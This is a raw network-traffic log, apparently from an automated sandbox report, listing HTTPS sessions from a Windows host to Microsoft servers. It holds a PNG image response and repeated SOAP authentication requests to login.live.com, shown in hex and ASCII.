Date: Fri, 01 Jul 2022 09:00:36 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:36 UTC 125 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 02 00 00 00 68 9f a7 5f 00 00 2b 
75 49 44 41 54 78 01 d4 97 07 6e ec 3a 0c 45 05 60 c4 f4 be 84 d7 d3 7b dd ff be 3e 43 c3 77 e4 cf 70 28 ca 4a 03 0e 08 
0e 33 55 07 97 76 d2 22 ff 04 79 84 de e0 17 d1 ef 25 6b 68 a2 fc 19 9a bc fe 97 d6 fe 72 ad e6 df 17 e3 6f 25 b4 c6 fc 11 
7e c7 a0 09 69 a5 a4 5f 30 04 42 56 98 80 8c d2 8a ef e6 38 6f d8 93 0d e6 18 c8 9f 30 51 ac 33 fd 9d b9 d0 7a b5 bf 41 
d5 ff f5 10 dc 04 f4 e4 f5 90 15 f7 e8 71 8e e8 bf 28 e3 d7 3e f6 44 fe 0b 2a fc ad 49 48 0f 13 95 24 e9 8e e6 66 45 4a be 
3f be b3 2a 88 51 3b 33 71 8c 18 df 0d 58 7f cd 10 d3 1a 9d 99 9c 7c 2c fa 13 db 2d b6 fa fb c3 f0 b1 a7 2a 49 1d ae 31 ef 
ec 66 f3 64 b1 6c 04 6e 04 9e e8 87 e5 10 73 bc 
Data Ascii: PNGIHDRh_+uIDATxn:E`{>Cwp(J3Uv"y%khro%~i_0BV8o0Q3zAq(>D*IH$fEJ?*Q;3qX|,-*I1fdlns
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

100 192.168.2.5 49866 40.126.32.140 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:20 UTC 1879 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4740
Host: login.live.com

2022-07-01 09:01:20 UTC 1879 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-07-01 09:01:20 UTC 1889 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:20 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: dc44ed95-4cd4-4777-889e-3b211d7d35eb
PPServer: PPV: 30 H: BL02PF2ABEC71F0 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:19 GMT
Connection: close
Content-Length: 11320

2022-07-01 09:01:20 UTC 1889 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP
Destination
Port

Process

101 192.168.2.5 49867 40.126.32.133 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:20 UTC 1884 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4714
Host: login.live.com

2022-07-01 09:01:20 UTC 1884 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1
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2022-07-01 09:01:20 UTC 1917 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:20 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 3e29ae63-139c-4b63-adfd-25e4c9ae5fc1
PPServer: PPV: 30 H: BL02PF6736E9335 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:20 GMT
Connection: close
Content-Length: 11320

2022-07-01 09:01:20 UTC 1917 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

102 192.168.2.5 49868 40.126.32.140 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:20 UTC 1900 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4740
Host: login.live.com

2022-07-01 09:01:20 UTC 1901 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-07-01 09:01:20 UTC 1905 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:20 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 71b05755-4224-493c-a94c-a597d50963d7
PPServer: PPV: 30 H: BL6PPF28F2FDD15 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:20 GMT
Connection: close
Content-Length: 11320

2022-07-01 09:01:20 UTC 1906 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

103 192.168.2.5 49869 40.126.32.140 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:20 UTC 1928 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4796
Host: login.live.com

2022-07-01 09:01:20 UTC 1929 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-07-01 09:01:21 UTC 1972 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:21 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 47e6fb60-2f1e-45b9-a2dd-378a4a00b0de
PPServer: PPV: 30 H: BL02PFA09B1BC9E V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:20 GMT
Connection: close
Content-Length: 11093

2022-07-01 09:01:21 UTC 1972 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID Source IP Source Port Destination IP
Destination
Port

Process

104 192.168.2.5 49870 40.126.32.140 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:20 UTC 1934 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4794
Host: login.live.com

2022-07-01 09:01:20 UTC 1934 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1
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2022-07-01 09:01:21 UTC 1949 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:21 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: 5a513376-42c1-419e-adb5-fd3d2582c40f
PPServer: PPV: 30 H: BL02PF62EDD27F6 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:20 GMT
Connection: close
Content-Length: 11093

2022-07-01 09:01:21 UTC 1949 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

105 192.168.2.5 49871 40.126.32.140 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:20 UTC 1939 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
.NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 1
0.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68})
Content-Length: 4796
Host: login.live.com

2022-07-01 09:01:20 UTC 1939 OUT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 
3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 
2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 
2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 
63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 
2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 
73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 
Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" 
xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/w
ss/2004/01/oasis-200401-wss-wssecurity-secext-1

2022-07-01 09:01:21 UTC 1960 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Type: application/soap+xml; charset=utf-8
Expires: Fri, 01 Jul 2022 09:00:21 GMT
P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
Referrer-Policy: strict-origin-when-cross-origin
x-ms-route-info: R3_BL2
x-ms-request-id: a62a4719-00c2-428f-a6b4-abd95cc433a8
PPServer: PPV: 30 H: BL02PF00AD68754 V: 0
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000
X-XSS-Protection: 1; mode=block
Date: Fri, 01 Jul 2022 09:01:20 GMT
Connection: close
Content-Length: 11093

2022-07-01 09:01:21 UTC 1961 IN Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 
20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 
67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 
70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 
2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 
78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 
73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 
Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" 
xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="h
ttp://docs.oasis-open.org/wss/2004/01/oasis-200
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

106 192.168.2.5 49872 20.190.159.71 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:21 UTC 1944 OUT POST /RST2.srf HTTP/1.0
Connection: Keep-Alive
Content-Type: application/soap+xml
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; 
